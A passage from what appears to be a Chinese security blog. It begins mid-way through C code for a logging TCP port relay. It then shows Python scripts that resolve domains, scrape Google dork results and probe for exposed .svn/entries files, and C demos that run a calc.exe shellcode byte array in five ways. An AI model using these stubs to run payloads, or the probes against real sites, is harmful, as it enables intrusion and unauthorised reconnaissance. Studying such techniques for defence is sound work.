                sprintf(tmpbuf, "\r\nRecv %5d bytes from %s:%d\r\n", read2, host2, port2);  
                printf(" Recv %5d bytes %16s:%d\r\n", read2, host2, port2);  
  
                makelog(tmpbuf,strlen(tmpbuf));  
                makelog(read_in2,read2);  
  
                totalread2+=read2;  
                memset(read_in2,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd1, &writefd))  
        {  
            int err2=0;  
            sendcount2=0;  
            while(totalread2>0)  
            {  
                send2=send(fd1, send_out2+sendcount2, totalread2, 0);  
  
                if(send2==0) break;  
  
                if((send2<0) && (errno!=EINTR))  
                {  
                    printf("[-] Send to fd1 unknow error.\r\n");  
                    err2=1;  
                    break;  
                }  
  
                if((send2<0) && (errno==ENOSPC)) break;  
  
                sendcount2+=send2;  
                totalread2-=send2;  
  
                printf(" Send %5d bytes %16s:%d\r\n", send2, host1, port1);  
            }  
  
            if(err2==1) break;  
            if((totalread2>0) && (sendcount2 > 0))  
            {  
                /* move not sended data to start addr */  
                memcpy(send_out2, send_out2+sendcount2, totalread2);  
                memset(send_out2+totalread2, 0, MAXSIZE-totalread2);  
            }  
            else  
            {  
                memset(send_out2,0,MAXSIZE);  
            }  
        }  
  
        Sleep(5);  
    }  
  
    closesocket(fd1);  
    closesocket(fd2);  
  
    printf("\r\n[+] OK! I Closed The Two Socket.\r\n");  
}  
  
int create_socket()  
{  
    int sockfd;  
  
    sockfd=socket(AF_INET,SOCK_STREAM,0);  
    if(sockfd<0)  
    {  
        printf("[-] Create socket error.\r\n");  
        return(0);  
    }  
  
    return(sockfd);  
}  
  
int create_server(int sockfd,int port)  
{  
    struct sockaddr_in srvaddr;  
    int on=1;  
  
    memset(&srvaddr, 0, sizeof(struct sockaddr));  
  
    srvaddr.sin_port=htons(port);  
    srvaddr.sin_family=AF_INET;  
    srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);  
  
    setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR, (char*)&on,sizeof(on)); //so I can rebind the port  
  
    if(bind(sockfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)  
    {  
        printf("[-] Socket bind error.\r\n");  
        return(0);  
    }  
  
    if(listen(sockfd,CONNECTNUM)<0)  
    {  
        printf("[-] Socket Listen error.\r\n");  
        return(0);  
    }  
  
    return(1);  
}  
  
int client_connect(int sockfd,char* server,int port)  
{  
    struct sockaddr_in cliaddr;  
    struct hostent *host;  
  
    if(!(host=gethostbyname(server)))  
    {  
        printf("[-] Gethostbyname(%s) error:%s\n",server,0);  
        return(0);  
    }  
  
    memset(&cliaddr, 0, sizeof(struct sockaddr));  
    cliaddr.sin_family=AF_INET;  
    cliaddr.sin_port=htons(port);  
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);  
  
    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)  
    {  
        printf("[-] Connect error.\r\n");  
        return(0);  
    }  
    return(1);  
}  
  
void makelog(char *buffer,int length)  
{  
    if (0 == length)  
    {  
        length = strlen(buffer);  
    }  
  
    if (fp != NULL)  
    {  
        _write(_fileno(fp),buffer,length);  
    }  
}  
  
void getctrlc(int j)  
{  
    printf("\r\n[-] Received Ctrl+C\r\n");  
    closeallfd();  
    exit(0);  
}  
  
void closeallfd()  
{  
    int i;  
  
    printf("[+] Let me exit ......\r\n");  
    fflush(stdout);  
  
    for(i=3; i<256; i++)  
    {  
        closesocket(i);  
    }  
  
    if(fp != NULL)  
    {  
        fprintf(fp,"\r\n====== Exit ======\r\n");  
        fclose(fp);  
    }  
  
    printf("[+] All Right!\r\n");  
}  

 

python 域名转IP

发布时间:July 2, 2015 // 分类:工作日志,开发笔记,运维工作,linux,代码学习,python,windows // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import urlparse

def getIp(domain):
    trytime = 0
    while True:
         try:
            domain = domain.split(':')[0]
            myaddr = socket.getaddrinfo(domain,None)[0][4][0]
            return myaddr
         except:
            trytime+=1
            if trytime>3:
                return ""

if __name__=='__main__':
    www = "http://0cx.cc"
    hosts = urlparse.urlsplit(www)
    if ":" in hosts.netloc:
        host = hosts.netloc.split(":")[0]
        port = hosts.netloc.split(":")[1]
    else:
        host = hosts.netloc
        port = '80'
        print getIp(host)

 

最近在抓几个payload(java反序列的),准备拿socket来实现。暂时只能是模拟发包。

抓包工具 wireshark
在线python 沙盒 http://www.runoob.com/try/runcode.php?filename=HelloWorld&type=python

主要为了方便部分是有域名的。同时域名会转换为IP而准备的。一个从谷歌的搜索抓取结果的脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os,sys,requests,re
import pdb,urllib
from urllib import unquote
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
    'content-type': 'application/x-www-form-urlencoded',
    }
def google(domain):
    #domain ='site:0day5.com inurl:php'
    r =requests.get('https://www.google.com.hk/search?q='+domain+'&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8&start=1&num=1000&',headers=headers)
    matc = re.findall('u=(.*?)&amp;prev=search',r.content)
    #page = re.findall("<div id=\"resultStats\">(.*?)<nobr>",r.text)
    #print page
    for url in matc:
        print unquote(url)

if __name__=="__main__": 
      
    if len(sys.argv)!=2: 
        print "Usage:"+"python"+" test.py "+"keywords"
        print "example:"+"python test.py site:0day5.com"
        sys.exit() 
    else: 
        google(sys.argv[1])

一个svn的探测脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
r = requests.get('http://www.baidu.com/.svn/entries')
#print r.headers
get=r.text.split('\n')
dir=[get[i-1] for i in range(len(get)) if get[i]=='dir' and get[i-1]!='']
file=[get[i-1] for i in range(len(get)) if get[i]=='file' and get[i-1]!='']
print dir
print file

 

几种用C语言来执行shellcode(其实也就是机器码)的方式

发布时间:June 5, 2015 // 分类:开发笔记,VC/C/C++,代码学习,windows // No Comments

/*   
 *  作者: 冷却   
 *  时间: 2009年2月21日   
 *  E-mail: leng_que@yahoo.com.cn   
 *  描述: 演示几种用C语言来执行shellcode(其实也就是机器码)的方式 
 *  备注:在WindowsXP SP3下测试成功 
 */  
  
//一段打开Windows计算器(calc.exe)的shellcode  
unsigned char shellcode[] =  
"/xb8/x82/x0a/x8d/x38/xd9/xc6/xd9/x74/x24/xf4/x5a/x29/xc9/xb1/x23"  
"/x31/x42/x12/x83/xea/xfc/x03/xc0/x04/x6f/xcd/x38/xf0/x2b/x2e/xc0"  
"/x01/x3f/x6b/xfc/x8a/x43/x71/x84/x8d/x54/xf2/x3b/x96/x21/x5a/xe3"  
"/xa7/xde/x2c/x68/x93/xab/xae/x80/xed/x6b/x29/xf0/x8a/xac/x3e/x0f"  
"/x52/xe6/xb2/x0e/x96/x1c/x38/x2b/x42/xc7/xc5/x3e/x8f/x8c/x99/xe4"  
"/x4e/x78/x43/x6f/x5c/x35/x07/x30/x41/xc8/xfc/x45/x65/x41/x03/xb2"  
"/x1f/x09/x20/x40/xe3/x83/xe8/x2c/x68/xa3/xd8/x29/xae/x5c/x15/xba"  
"/x6f/x91/xae/xcc/x73/x04/x3b/x44/x84/xbd/x35/x1f/x14/xf1/x46/x1f"  
"/x15/x79/x2e/x23/x4a/x4c/x59/x3b/x22/x27/x5d/x38/x0a/x4c/xce/x56"  
"/xf5/x6b/x0c/xd5/x61/x14/x2f/x93/x7c/x73/x2f/x44/xe3/x1a/xa3/xe9"  
"/xe4";  
  
//第一种执行方式  
void exe_1()  
{  
    void (*code)(void);  
    code = (void*)shellcode;  
    code();  
}  
  
//第二种执行方式  
void exe_2()  
{  
    ( (void (*)(void))shellcode )();  
}  
  
//第三种执行方式  
void exe_3()  
{  
    __asm  
    {  
        lea eax,shellcode;  
        jmp eax;  
    }  
}  
  
//第四种执行方式  
void exe_4()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        jmp eax;  
    }  
}  
  
//第五种执行方式  
void exe_5()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        _emit 0xFF;  
        _emit 0xE0;  
    }  
}  
  
//主函数入口  
void main()  
{  
    exe_5();  
} 

 

/* 
 *  作者: 冷却 
 *  时间: 2009年2月21日 
 *  E-mail: leng_que@yahoo.com.cn 
 *  描述: 演示三种用C语言来执行机器码的方式 
 */  
  
#include <stdio.h>  
  
//一段机器码,功能为:对传入的整型参数进行加一操作,然后返回结果。  
unsigned char machineCode[] =  
"/xe9/x07/x00/x00/x00/xcc/xcc/xcc/xcc/xcc/xcc/xcc/x55/x8b/xec/x83/xec/x40/x53/x56"  
"/x57/x8d/x7d/xc0/xb9/x10/x00/x00/x00/xb8/xcc/xcc/xcc/xcc/xf3/xab/x8b/x45/x08/x83"  
"/xc0/x01/x5f/x5e/x5b/x8b/xe5/x5d/xc3";  
  
//第一种执行方式  
void exe_1()  
{  
    int result;  
      
    result = ( (int (*)(int))machineCode )(7);  
      
    printf("%d/r/n",result);  
}  
  
//第二种执行方式  
void exe_2()  
{  
    int result;  
      
    int (*Fun)(int);  
    Fun = (void*)machineCode;  
      
    result = Fun(7);  
      
    printf("%d/r/n",result);  
}  
  
//第三种执行方式  
void exe_3()  
{  
    int result;  
      
    typedef int(*Fun)(int);  
    Fun p=NULL;  
      
    p = (Fun)machineCode;  
      
    result = p(7);  
      
    printf("%d/r/n",result);  
}  
  
//主函数入口  
void main()  
{  
    exe_1();  
    exe_2();  
    exe_3();  
}